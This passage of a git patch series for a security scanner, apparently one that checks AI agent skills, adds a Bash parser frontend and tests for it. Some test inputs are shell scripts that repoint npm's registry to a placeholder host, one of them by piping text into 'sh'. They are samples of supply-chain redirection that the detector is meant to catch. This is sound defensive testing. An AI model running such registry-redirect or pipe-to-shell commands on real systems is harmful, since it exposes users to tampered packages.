raw_files[path]) for path in sorted(raw_files)], + budget=DependencyWorkBudget(), + executable_paths=executable_paths, + ) + + actual = [ + _normalized_finding(finding) for finding in analysis.findings if finding.rule_id == "SC10" + ] + assert Counter(json.dumps(item, sort_keys=True) for item in actual) == Counter( + json.dumps(item, sort_keys=True) for item in row["expected_sc10"] + ) + assert analysis.limitations == () + assert row["status"] == "fixed", "unimplemented adapter contracts remain explicit red gates" diff --git a/tests/unit/test_shell_frontend.py b/tests/unit/test_shell_frontend.py new file mode 100644 index 00000000..b032787f --- /dev/null +++ b/tests/unit/test_shell_frontend.py @@ -0,0 +1,85 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Focused contracts for shell semantics that stay explicit limitations.""" + +from __future__ import annotations + +import os +from typing import Any + +import pytest + +from skillspector.artifacts import classify_artifact +from skillspector.dependency_source_types import ( + DependencySourceLimitationReason, + DependencyWorkBudget, +) +from skillspector.dependency_sources import analyze_dependency_sources + + +def _gap_marks(case: dict[str, Any]) -> list[pytest.MarkDecorator]: + marks = [pytest.mark.sc10_pr2] + if case["status"] != "fixed" and os.getenv("SKILLSPECTOR_SC10_GAPS") != "enforce": + marks.append(pytest.mark.xfail(strict=True, reason=f"SC10 gap: {case['id']}")) + return marks + + +UNSUPPORTED_CASES = [ + { + "id": "xargs-manager-construction-limitation", + "status": "unfixed", + "source": ( + "#!/bin/bash\n" + "printf '%s\\n' 'config set registry https://packages.example.invalid' " + "| xargs npm\n" + ), + }, + { + "id": "env-s-split-string-limitation", + "status": "unfixed", + "source": ( + "#!/bin/bash\nenv -S 'npm config set registry https://packages.example.invalid'\n" + ), + }, + { + "id": "data-to-shell-pipeline-limitation", + "status": "unfixed", + "source": ( + "#!/bin/bash\n" + "printf '%s\\n' 'npm config set registry https://packages.example.invalid' " + "| sh\n" + ), + }, +] + +UNSUPPORTED_SEMANTICS = [ + pytest.param(case, id=case["id"], marks=_gap_marks(case)) for case in UNSUPPORTED_CASES +] + + +@pytest.mark.parametrize("case", UNSUPPORTED_SEMANTICS) +def test_unsupported_shell_semantics_are_localized_limitations(case: dict[str, Any]) -> None: + path = "scripts/setup.sh" + source = case["source"] + raw = source.encode("utf-8") + analysis = analyze_dependency_sources( + components=[path], + local_file_cache={path: source}, + raw_file_cache={path: raw}, + artifact_inventory=[classify_artifact(path, raw)], + budget=DependencyWorkBudget(), + executable_paths=frozenset({path}), + ) + + assert [finding for finding in analysis.findings if finding.rule_id == "SC10"] == [] + assert [ + ( + limitation.reason, + limitation.path, + limitation.start_line, + limitation.end_line, + ) + for limitation in analysis.limitations + ] == [(DependencySourceLimitationReason.PARSE_INCOMPLETE, path, 2, 2)] + assert case["status"] == "fixed", "unimplemented shell contracts remain explicit red gates" From 1cf48252d0b80086a7446465609620cad87012db Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 19:42:22 -0700 Subject: [PATCH 02/13] build(sc10): pin structured shell parser Signed-off-by: Nir Paz --- .github/workflows/ci.yml | 49 +++ THIRD_PARTY_NOTICES.md | 12 + pyproject.toml | 3 + src/skillspector/shell_frontend.py | 179 ++++++++ tests/nodes/analyzers/test_static_patterns.py | 31 +- tests/unit/test_shell_frontend_dependency.py | 396 ++++++++++++++++++ uv.lock | 74 +++- 7 files changed, 733 insertions(+), 11 deletions(-) create mode 100644 src/skillspector/shell_frontend.py create mode 100644 tests/unit/test_shell_frontend_dependency.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a79867f6..efb96665 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -90,6 +90,55 @@ jobs: - run: uv run skillspector --version - run: uv run make test-ci + parser-wheel-smoke: + name: Parser wheels (${{ matrix.name }}) + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + include: + - name: linux-x86_64-py312 + os: ubuntu-latest + python-version: "3.12" + - name: linux-x86_64-py313 + os: ubuntu-latest + python-version: "3.13" + - name: linux-x86_64-py314 + os: ubuntu-latest + python-version: "3.14" + - name: linux-arm64-py314 + os: ubuntu-24.04-arm + python-version: "3.14" + - name: macos-py314 + os: macos-latest + python-version: "3.14" + - name: windows-x86_64-py314 + os: windows-latest + python-version: "3.14" + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - name: Set up uv + # Pinned to a full commit SHA (third-party action); comment tracks the tag. + uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5 + with: + version: ${{ env.UV_VERSION }} + python-version: ${{ matrix.python-version }} + - name: Create clean parser environment + run: uv venv --python ${{ matrix.python-version }} .parser-smoke-venv + - name: Install exact parser wheels only + run: >- + uv pip install --python .parser-smoke-venv --only-binary=:all: + tree-sitter==0.25.2 tree-sitter-bash==0.25.1 + - name: Smoke production parser loader + run: >- + uv run --no-project --python .parser-smoke-venv python -c + "import runpy, time; + frontend = runpy.run_path('src/skillspector/shell_frontend.py'); + tree = frontend['parse_bash_source']( + b'printf ok\\n', deadline_monotonic=time.monotonic() + 5.0); + assert frontend['load_bash_language']().abi_version == 15; + assert tree.root_node.type == 'program'" + docker-smoke: needs: changes if: needs.changes.outputs.docker == 'true' diff --git a/THIRD_PARTY_NOTICES.md b/THIRD_PARTY_NOTICES.md index 415360d7..32e01f7a 100644 --- a/THIRD_PARTY_NOTICES.md +++ b/THIRD_PARTY_NOTICES.md @@ -30,6 +30,18 @@ and project URL. - **Copyright:** Copyright (c) 2017-2021 Ingy dot Net; Copyright (c) 2006-2016 Kirill Simonov - **URL:** https://github.com/yaml/pyyaml +### tree-sitter (py-tree-sitter) + +- **License:** MIT +- **Copyright:** Copyright (c) 2019 Max Brunsfeld, GitHub +- **URL:** https://github.com/tree-sitter/py-tree-sitter + +### tree-sitter-bash + +- **License:** MIT +- **Copyright:** Copyright (c) 2017 Max Brunsfeld +- **URL:** https://github.com/tree-sitter/tree-sitter-bash + ### pydantic - **License:** MIT diff --git a/pyproject.toml b/pyproject.toml index 1bd897dc..4855a90b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -36,6 +36,8 @@ dependencies = [ "httpx>=0.28.0", "packaging>=24.0", "pyyaml>=6.0.1", + "tree-sitter==0.25.2", + "tree-sitter-bash==0.25.1", "pydantic>=2.12.0", "openai>=2.25.0", "langgraph>=1.0.10", @@ -61,6 +63,7 @@ dev = [ "pytest>=9.0.0", "pytest-asyncio>=1.3.0", "pytest-cov>=7.0.0", + "pytest-timeout>=2.4.0,<3.0.0", "ruff>=0.15.0", "mypy>=1.19.0", "build>=1.4.0", diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py new file mode 100644 index 00000000..b07da11c --- /dev/null +++ b/src/skillspector/shell_frontend.py @@ -0,0 +1,179 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Exact-pinned, bounded Tree-sitter Bash parser runtime boundary. + +This module intentionally contains no shell lowering or package-manager policy. +""" + +from __future__ import annotations + +from collections.abc import Callable +from enum import StrEnum +from functools import cache +from importlib import import_module +from math import ceil, isfinite +from time import monotonic +from typing import TYPE_CHECKING, Any, Final, cast +from warnings import catch_warnings, filterwarnings + +if TYPE_CHECKING: + from tree_sitter import Language, Parser, Tree + +EXPECTED_BASH_ABI_VERSION: Final = 15 +EXPECTED_BASH_SEMANTIC_VERSION: Final = (0, 25, 1) +MAX_TREE_SITTER_READ_BYTES: Final = 4_096 + + +class ShellParserOutcome(StrEnum): + """Terminal classification for a parser-runtime failure.""" + + FAILED = "failed" + PARTIAL = "partial" + + +class ShellParserFailureReason(StrEnum): + """Content-free parser-runtime failure reason.""" + + SHELL_PARSER_UNAVAILABLE = "shell_parser_unavailable" + RUNTIME_LIMIT = "runtime_limit" + + +class ShellParserError(RuntimeError): + """A sanitized, classified parser-runtime failure.""" + + def __init__( + self, + *, + outcome: ShellParserOutcome, + reason: ShellParserFailureReason, + deadline_tripped: bool, + ) -> None: + self.outcome = outcome + self.reason = reason + self.deadline_tripped = deadline_tripped + super().__init__(f"{outcome.value}: {reason.value}") + + +def _unavailable_error(*, meaningful_work: bool = False) -> ShellParserError: + return ShellParserError( + outcome=(ShellParserOutcome.PARTIAL if meaningful_work else ShellParserOutcome.FAILED), + reason=ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE, + deadline_tripped=False, + ) + + +@cache +def load_bash_language() -> Language: + """Load and validate the exact Bash grammar once, on first use.""" + try: + tree_sitter = import_module("tree_sitter") + tree_sitter_bash = import_module("tree_sitter_bash") + language = cast("Language", tree_sitter.Language(tree_sitter_bash.language())) + if language.abi_version != EXPECTED_BASH_ABI_VERSION: + raise ValueError("unexpected Bash grammar ABI") + if language.semantic_version != EXPECTED_BASH_SEMANTIC_VERSION: + raise ValueError("unexpected Bash grammar semantic version") + except ShellParserError: + raise + except Exception: + raise _unavailable_error() from None + return language + + +def create_bash_parser(*, deadline_monotonic: float | None = None) -> Parser: + """Create one fresh parser around the cached immutable language.""" + try: + tree_sitter = import_module("tree_sitter") + language = load_bash_language() + timeout_micros = _native_timeout_micros(deadline_monotonic) + if timeout_micros is None: + return cast("Parser", tree_sitter.Parser(language)) + with catch_warnings(): + filterwarnings( + "ignore", + message=r"Use the progress_callback in parse\(\)", + category=DeprecationWarning, + ) + return cast( + "Parser", + tree_sitter.Parser( + language, + timeout_micros=timeout_micros, + ), + ) + except ShellParserError: + raise + except Exception: + raise _unavailable_error() from None + + +def _bounded_reader( + source: bytes, + *, + deadline_expired: Callable[[], bool], +) -> Callable[[int, Any], bytes]: + if type(source) is not bytes: + raise TypeError("source must be immutable bytes") + + def read(byte_offset: int, _position: Any) -> bytes: + if deadline_expired(): + return b"" + if byte_offset < 0 or byte_offset >= len(source): + return b"" + return source[byte_offset : byte_offset + MAX_TREE_SITTER_READ_BYTES] + + return read + + +def _native_timeout_micros(deadline_monotonic: float | None) -> int | None: + if deadline_monotonic is None: + return None + if isinstance(deadline_monotonic, bool) or not isinstance(deadline_monotonic, (int, float)): + raise TypeError("deadline_monotonic must be a finite monotonic timestamp") + if not isfinite(deadline_monotonic): + raise ValueError("deadline_monotonic must be finite") + return max(1, ceil((deadline_monotonic - monotonic()) * 1_000_000)) + + +def parse_bash_source( + source: bytes, + *, + deadline_monotonic: float | None = None, + meaningful_work: bool = False, +) -> Tree: + """Parse immutable bytes through a bounded reader with classified failures.""" + deadline_tripped = False + + def deadline_expired() -> bool: + nonlocal deadline_tripped + if deadline_monotonic is not None and monotonic() >= deadline_monotonic: + deadline_tripped = True + return deadline_tripped + + try: + reader = _bounded_reader(source, deadline_expired=deadline_expired) + parser = create_bash_parser(deadline_monotonic=deadline_monotonic) + tree = parser.parse(reader) + except ShellParserError as error: + if meaningful_work and error.reason is ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE: + raise _unavailable_error(meaningful_work=True) from None + raise + except Exception: + if deadline_expired(): + raise ShellParserError( + outcome=ShellParserOutcome.PARTIAL, + reason=ShellParserFailureReason.RUNTIME_LIMIT, + deadline_tripped=True, + ) from None + raise _unavailable_error(meaningful_work=meaningful_work) from None + + if deadline_expired(): + raise ShellParserError( + outcome=ShellParserOutcome.PARTIAL, + reason=ShellParserFailureReason.RUNTIME_LIMIT, + deadline_tripped=True, + ) + if tree is None: + raise _unavailable_error(meaningful_work=meaningful_work) + return tree diff --git a/tests/nodes/analyzers/test_static_patterns.py b/tests/nodes/analyzers/test_static_patterns.py index 34fd1eab..73aa25ec 100644 --- a/tests/nodes/analyzers/test_static_patterns.py +++ b/tests/nodes/analyzers/test_static_patterns.py @@ -1187,10 +1187,17 @@ def test_oversized_static_input_is_scanned_instead_of_skipped(self): class TestLicenseFiles: @staticmethod - def _third_party_notice_range(start_line: int, end_line: int) -> str: + def _third_party_notice_range(expected_lines: tuple[str, ...]) -> str: notice_path = Path(__file__).resolve().parents[3] / "THIRD_PARTY_NOTICES.md" lines = notice_path.read_text(encoding="utf-8").splitlines() - return "\n".join(lines[start_line - 1 : end_line]) + "\n" + matching_starts = [ + index + for index in range(len(lines) - len(expected_lines) + 1) + if tuple(lines[index : index + len(expected_lines)]) == expected_lines + ] + assert len(matching_starts) == 1 + start = matching_starts[0] + return "\n".join(lines[start : start + len(expected_lines)]) + "\n" @staticmethod def _range_content(range_index: int) -> tuple[str, int]: @@ -1247,14 +1254,26 @@ def test_attacker_line_after_canonical_range_reports_ea3(self, range_index: int) assert any(f.rule_id == "EA3" and f.start_line == attack_line_number for f in findings) @pytest.mark.parametrize( - "start_line,match_line", - [(92, 2), (118, 2)], + "notice_lines", + [ + ( + 'THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR', + "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,", + "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE", + ), + ( + 'THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"', + "AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE", + "IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE", + ), + ], ids=["mit_notice", "bsd_notice"], ) def test_independent_third_party_ranges_suppress_ea3( - self, start_line: int, match_line: int + self, notice_lines: tuple[str, ...] ) -> None: - content = self._third_party_notice_range(start_line, start_line + 2) + content = self._third_party_notice_range(notice_lines) + match_line = 2 findings = static_runner.run_static_patterns( {"components": ["LICENSE"], "file_cache": {"LICENSE": content}}, [excessive_agency_module], diff --git a/tests/unit/test_shell_frontend_dependency.py b/tests/unit/test_shell_frontend_dependency.py new file mode 100644 index 00000000..ec8fda5e --- /dev/null +++ b/tests/unit/test_shell_frontend_dependency.py @@ -0,0 +1,396 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Pinned dependency and runtime-boundary contracts for Bash CST parsing.""" + +from __future__ import annotations + +import importlib +import importlib.metadata +import os +import subprocess +import sys +import time +from collections.abc import Callable +from types import SimpleNamespace +from typing import Any + +import pytest + +TREE_SITTER_VERSION = "0.25.2" +TREE_SITTER_BASH_VERSION = "0.25.1" +BASH_ABI_VERSION = 15 +BASH_SEMANTIC_VERSION = (0, 25, 1) + + +def _frontend() -> Any: + return importlib.import_module("skillspector.shell_frontend") + + +def _language() -> Any: + tree_sitter = importlib.import_module("tree_sitter") + tree_sitter_bash = importlib.import_module("tree_sitter_bash") + return tree_sitter.Language(tree_sitter_bash.language()) + + +def _parse(source: bytes) -> Any: + tree_sitter = importlib.import_module("tree_sitter") + tree = tree_sitter.Parser(_language()).parse(source) + assert tree is not None + return tree + + +def _descendants(node: Any) -> list[Any]: + pending = [node] + result = [] + while pending: + current = pending.pop() + result.append(current) + pending.extend(reversed(current.children)) + return result + + +def test_installed_parser_distribution_versions_are_exact() -> None: + assert importlib.metadata.version("tree-sitter") == TREE_SITTER_VERSION + assert importlib.metadata.version("tree-sitter-bash") == TREE_SITTER_BASH_VERSION + + +def test_bash_language_versions_and_minimal_public_api_parse() -> None: + language = _language() + assert language.abi_version == BASH_ABI_VERSION + assert language.semantic_version == BASH_SEMANTIC_VERSION + + tree_sitter = importlib.import_module("tree_sitter") + tree = tree_sitter.Parser(language).parse(b"printf ok\n") + + assert tree is not None + assert tree.root_node.type == "program" + assert not tree.root_node.has_error + + +def test_bash_cst_command_and_file_redirect_fields_are_stable() -> None: + tree = _parse(b"1>out printf ok\n") + command = next(node for node in _descendants(tree.root_node) if node.type == "command") + + assert command.child_by_field_name("name").type == "command_name" + assert command.child_by_field_name("argument").type == "word" + redirect = command.child_by_field_name("redirect") + assert redirect.type == "file_redirect" + assert redirect.child_by_field_name("descriptor").type == "file_descriptor" + assert redirect.child_by_field_name("destination").type == "word" + + +def test_bash_cst_heredoc_redirect_and_body_are_stable() -> None: + tree = _parse(b"cat <<'EOF'\nvalue\nEOF\n") + node_types = [node.type for node in _descendants(tree.root_node)] + + assert "heredoc_redirect" in node_types + assert "heredoc_body" in node_types + + +def test_production_language_is_cached_but_each_parser_is_fresh() -> None: + frontend = _frontend() + + assert frontend.load_bash_language() is frontend.load_bash_language() + assert frontend.create_bash_parser() is not frontend.create_bash_parser() + + +@pytest.mark.parametrize( + ("failure_mode", "abi_version", "semantic_version"), + [ + ("import", BASH_ABI_VERSION, BASH_SEMANTIC_VERSION), + ("abi", BASH_ABI_VERSION + 1, BASH_SEMANTIC_VERSION), + ("semantic", BASH_ABI_VERSION, (0, 25, 0)), + ], +) +def test_language_loader_failures_are_classified_unavailable( + monkeypatch: pytest.MonkeyPatch, + failure_mode: str, + abi_version: int, + semantic_version: tuple[int, int, int], +) -> None: + frontend = _frontend() + language = SimpleNamespace( + abi_version=abi_version, + semantic_version=semantic_version, + ) + modules = { + "tree_sitter": SimpleNamespace(Language=lambda _capsule: language), + "tree_sitter_bash": SimpleNamespace(language=lambda: object()), + } + + def import_dependency(name: str) -> object: + if failure_mode == "import": + raise ModuleNotFoundError("private dependency detail") + return modules[name] + + frontend.load_bash_language.cache_clear() + monkeypatch.setattr(frontend, "import_module", import_dependency) + try: + with pytest.raises(frontend.ShellParserError) as caught: + frontend.load_bash_language() + finally: + frontend.load_bash_language.cache_clear() + + assert caught.value.outcome is frontend.ShellParserOutcome.FAILED + assert caught.value.reason is frontend.ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE + assert caught.value.deadline_tripped is False + assert "private dependency detail" not in str(caught.value) + + +def test_production_parser_initialization_failure_is_classified_unavailable( + monkeypatch: pytest.MonkeyPatch, +) -> None: + frontend = _frontend() + + class BrokenParser: + def __init__(self, _language: object) -> None: + raise RuntimeError("private parser detail") + + monkeypatch.setattr(frontend, "load_bash_language", lambda: object()) + monkeypatch.setattr( + frontend, + "import_module", + lambda _name: SimpleNamespace(Parser=BrokenParser), + ) + + with pytest.raises(frontend.ShellParserError) as caught: + frontend.create_bash_parser() + + assert caught.value.outcome is frontend.ShellParserOutcome.FAILED + assert caught.value.reason is frontend.ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE + assert caught.value.deadline_tripped is False + assert "private parser detail" not in str(caught.value) + + +def test_production_parse_uses_only_a_bounded_callable_reader( + monkeypatch: pytest.MonkeyPatch, +) -> None: + frontend = _frontend() + source = b"printf ok\n" * 1000 + sentinel_tree = object() + observed_chunks: list[bytes] = [] + observed_deadlines: list[float | None] = [] + + class RecordingParser: + def parse( + self, + reader: Callable[[int, tuple[int, int]], bytes], + ) -> object: + assert callable(reader) + first = reader(0, (0, 0)) + observed_chunks.append(first) + assert reader(len(source), (1000, 0)) == b"" + return sentinel_tree + + def create_parser(*, deadline_monotonic: float | None) -> RecordingParser: + observed_deadlines.append(deadline_monotonic) + return RecordingParser() + + monkeypatch.setattr(frontend, "create_bash_parser", create_parser) + + result = frontend.parse_bash_source(source) + + assert result is sentinel_tree + assert observed_deadlines == [None] + assert observed_chunks + assert len(observed_chunks[0]) == frontend.MAX_TREE_SITTER_READ_BYTES + assert observed_chunks[0] == source[: frontend.MAX_TREE_SITTER_READ_BYTES] + + +def test_native_timeout_is_derived_after_language_loading( + monkeypatch: pytest.MonkeyPatch, +) -> None: + frontend = _frontend() + observed_timeouts: list[int] = [] + language_loaded = False + sentinel_language = object() + + class Parser: + def __init__(self, language: object, *, timeout_micros: int) -> None: + assert language is sentinel_language + observed_timeouts.append(timeout_micros) + + class TreeSitterModule: + pass + + TreeSitterModule.Parser = Parser + + def load_language() -> object: + nonlocal language_loaded + language_loaded = True + return sentinel_language + + def current_time() -> float: + assert language_loaded + return 100.0 + + monkeypatch.setattr(frontend, "load_bash_language", load_language) + monkeypatch.setattr(frontend, "import_module", lambda _name: TreeSitterModule) + monkeypatch.setattr(frontend, "monotonic", current_time) + + parser = frontend.create_bash_parser(deadline_monotonic=101.0) + + assert isinstance(parser, Parser) + assert len(observed_timeouts) == 1 + assert observed_timeouts[0] == 1_000_000 + + +@pytest.mark.parametrize("meaningful_work", [False, True], ids=["first-unit", "later-unit"]) +def test_reader_deadline_is_classified_as_local_runtime_partial( + monkeypatch: pytest.MonkeyPatch, + meaningful_work: bool, +) -> None: + frontend = _frontend() + + class CancelledParser: + def parse( + self, + reader: Callable[[int, tuple[int, int]], bytes], + ) -> None: + assert callable(reader) + assert reader(0, (0, 0)) == b"" + return None + + monkeypatch.setattr( + frontend, + "create_bash_parser", + lambda *, deadline_monotonic: CancelledParser(), + ) + + with pytest.raises(frontend.ShellParserError) as caught: + frontend.parse_bash_source( + b"printf ok\n", + deadline_monotonic=time.monotonic() - 1.0, + meaningful_work=meaningful_work, + ) + + assert caught.value.outcome is frontend.ShellParserOutcome.PARTIAL + assert caught.value.reason is frontend.ShellParserFailureReason.RUNTIME_LIMIT + assert caught.value.deadline_tripped is True + + +def test_native_parser_timeout_is_classified_only_after_deadline_trips( + monkeypatch: pytest.MonkeyPatch, +) -> None: + frontend = _frontend() + + class TimedOutParser: + def parse(self, reader: Callable[[int, tuple[int, int]], bytes]) -> None: + assert callable(reader) + raise ValueError("Parsing failed") + + monkeypatch.setattr( + frontend, + "create_bash_parser", + lambda *, deadline_monotonic: TimedOutParser(), + ) + monkeypatch.setattr(frontend, "monotonic", lambda: 101.0) + + with pytest.raises(frontend.ShellParserError) as caught: + frontend.parse_bash_source(b"printf ok\n", deadline_monotonic=100.0) + + assert caught.value.outcome is frontend.ShellParserOutcome.PARTIAL + assert caught.value.reason is frontend.ShellParserFailureReason.RUNTIME_LIMIT + assert caught.value.deadline_tripped is True + + +def test_parser_initialization_failure_before_work_is_unavailable( + monkeypatch: pytest.MonkeyPatch, +) -> None: + frontend = _frontend() + + def fail_initialization(*, deadline_monotonic: float | None) -> Any: + raise RuntimeError("private parser detail") + + monkeypatch.setattr(frontend, "create_bash_parser", fail_initialization) + + with pytest.raises(frontend.ShellParserError) as caught: + frontend.parse_bash_source(b"printf ok\n") + + assert caught.value.outcome is frontend.ShellParserOutcome.FAILED + assert caught.value.reason is frontend.ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE + assert caught.value.deadline_tripped is False + assert "private parser detail" not in str(caught.value) + + +@pytest.mark.parametrize( + ("meaningful_work", "expected_outcome"), + [(False, "FAILED"), (True, "PARTIAL")], + ids=["before-meaningful-work", "after-meaningful-work"], +) +def test_internal_parser_failure_classification_depends_on_meaningful_work( + monkeypatch: pytest.MonkeyPatch, + meaningful_work: bool, + expected_outcome: str, +) -> None: + frontend = _frontend() + + class BrokenParser: + def parse( + self, + reader: Callable[[int, tuple[int, int]], bytes], + ) -> None: + assert callable(reader) + raise RuntimeError("private parser detail") + + monkeypatch.setattr( + frontend, + "create_bash_parser", + lambda *, deadline_monotonic: BrokenParser(), + ) + + with pytest.raises(frontend.ShellParserError) as caught: + frontend.parse_bash_source(b"printf ok\n", meaningful_work=meaningful_work) + + assert caught.value.outcome is getattr(frontend.ShellParserOutcome, expected_outcome) + assert caught.value.reason is frontend.ShellParserFailureReason.SHELL_PARSER_UNAVAILABLE + assert caught.value.deadline_tripped is False + assert "private parser detail" not in str(caught.value) + + +def test_production_never_passes_the_unsafe_parser_progress_callback() -> None: + completed = subprocess.run( + [ + sys.executable, + "-c", + ( + "from skillspector.shell_frontend import parse_bash_source; " + "tree = parse_bash_source(b'printf ok\\n' * 90000); " + "assert tree.root_node.type == 'program'" + ), + ], + check=False, + capture_output=True, + env=os.environ.copy(), + timeout=10, + ) + + assert completed.returncode == 0, completed.stderr.decode("utf-8", errors="replace") + + +def test_parser_failure_is_not_retried_or_delegated( + monkeypatch: pytest.MonkeyPatch, +) -> None: + frontend = _frontend() + constructor_calls = 0 + parser_pids: list[int] = [] + + class BrokenParser: + def parse(self, reader: Callable[[int, tuple[int, int]], bytes]) -> None: + assert callable(reader) + parser_pids.append(os.getpid()) + raise RuntimeError("private parser detail") + + def create_parser(*, deadline_monotonic: float | None) -> BrokenParser: + nonlocal constructor_calls + constructor_calls += 1 + return BrokenParser() + + monkeypatch.setattr(frontend, "create_bash_parser", create_parser) + + with pytest.raises(frontend.ShellParserError): + frontend.parse_bash_source(b"printf ok\n") + + assert constructor_calls == 1 + assert parser_pids == [os.getpid()] diff --git a/uv.lock b/uv.lock index dea35d63..c6f17104 100644 --- a/uv.lock +++ b/uv.lock @@ -1,5 +1,5 @@ version = 1 -revision = 2 +revision = 3 requires-python = ">=3.12, <3.15" resolution-markers = [ "python_full_version >= '3.14' and sys_platform == 'win32'", @@ -2173,6 +2173,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/9d/7a/d968e294073affff457b041c2be9868a40c1c71f4a35fcc1e45e5493067b/pytest_cov-7.1.0-py3-none-any.whl", hash = "sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678", size = 22876, upload-time = "2026-03-21T20:11:14.438Z" }, ] +[[package]] +name = "pytest-timeout" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/82/4c9ecabab13363e72d880f2fb504c5f750433b2b6f16e99f4ec21ada284c/pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a", size = 17973, upload-time = "2025-05-05T19:44:34.99Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/b6/3127540ecdf1464a00e5a01ee60a1b09175f6913f0644ac748494d9c4b21/pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2", size = 14382, upload-time = "2025-05-05T19:44:33.502Z" }, +] + [[package]] name = "python-dateutil" version = "2.9.0.post0" @@ -2691,6 +2703,8 @@ dependencies = [ { name = "pydantic" }, { name = "pyyaml" }, { name = "rich" }, + { name = "tree-sitter" }, + { name = "tree-sitter-bash" }, { name = "typer" }, { name = "yara-python" }, ] @@ -2699,21 +2713,23 @@ dependencies = [ dev = [ { name = "build" }, { name = "hatchling" }, + { name = "langgraph-cli", extra = ["inmem"] }, { name = "mcp" }, { name = "mypy" }, { name = "poetry" }, { name = "pytest" }, { name = "pytest-asyncio" }, { name = "pytest-cov" }, + { name = "pytest-timeout" }, { name = "ruff" }, { name = "twine" }, ] -mcp = [ - { name = "mcp" }, -] langgraph-dev = [ { name = "langgraph-cli", extra = ["inmem"] }, ] +mcp = [ + { name = "mcp" }, +] [package.metadata] requires-dist = [ @@ -2737,11 +2753,14 @@ requires-dist = [ { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.0" }, { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0" }, { name = "pytest-cov", marker = "extra == 'dev'", specifier = ">=7.0.0" }, + { name = "pytest-timeout", marker = "extra == 'dev'", specifier = ">=2.4.0,<3.0.0" }, { name = "pyyaml", specifier = ">=6.0.1" }, { name = "rich", specifier = ">=14.3.0" }, { name = "ruff", marker = "extra == 'dev'", specifier = ">=0.15.0" }, - { name = "skillspector", extras = ["mcp"], marker = "extra == 'dev'" }, { name = "skillspector", extras = ["langgraph-dev"], marker = "extra == 'dev'" }, + { name = "skillspector", extras = ["mcp"], marker = "extra == 'dev'" }, + { name = "tree-sitter", specifier = "==0.25.2" }, + { name = "tree-sitter-bash", specifier = "==0.25.1" }, { name = "twine", marker = "extra == 'dev'", specifier = ">=6.2.0" }, { name = "typer", specifier = ">=0.23.0,<0.24" }, { name = "yara-python", specifier = ">=4.5.0" }, @@ -2869,6 +2888,51 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/d8/8e/bb97bb0c71802080bfc8952937d174e49cfc50de5c951dd47b2496f0dcdb/tqdm-4.68.3-py3-none-any.whl", hash = "sha256:39832cc2def2789a6f29df83f172db7416cea70052c0907a57801c5f2fdccb03", size = 78337, upload-time = "2026-06-17T07:36:50.132Z" }, ] +[[package]] +name = "tree-sitter" +version = "0.25.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz", hash = "sha256:fe43c158555da46723b28b52e058ad444195afd1db3ca7720c59a254544e9c20", size = 177961, upload-time = "2025-09-25T17:37:59.751Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/9e/20c2a00a862f1c2897a436b17edb774e831b22218083b459d0d081c9db33/tree_sitter-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ddabfff809ffc983fc9963455ba1cecc90295803e06e140a4c83e94c1fa3d960", size = 146941, upload-time = "2025-09-25T17:37:34.813Z" }, + { url = "https://files.pythonhosted.org/packages/ef/04/8512e2062e652a1016e840ce36ba1cc33258b0dcc4e500d8089b4054afec/tree_sitter-0.25.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c0c0ab5f94938a23fe81928a21cc0fac44143133ccc4eb7eeb1b92f84748331c", size = 137699, upload-time = "2025-09-25T17:37:36.349Z" }, + { url = "https://files.pythonhosted.org/packages/47/8a/d48c0414db19307b0fb3bb10d76a3a0cbe275bb293f145ee7fba2abd668e/tree_sitter-0.25.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 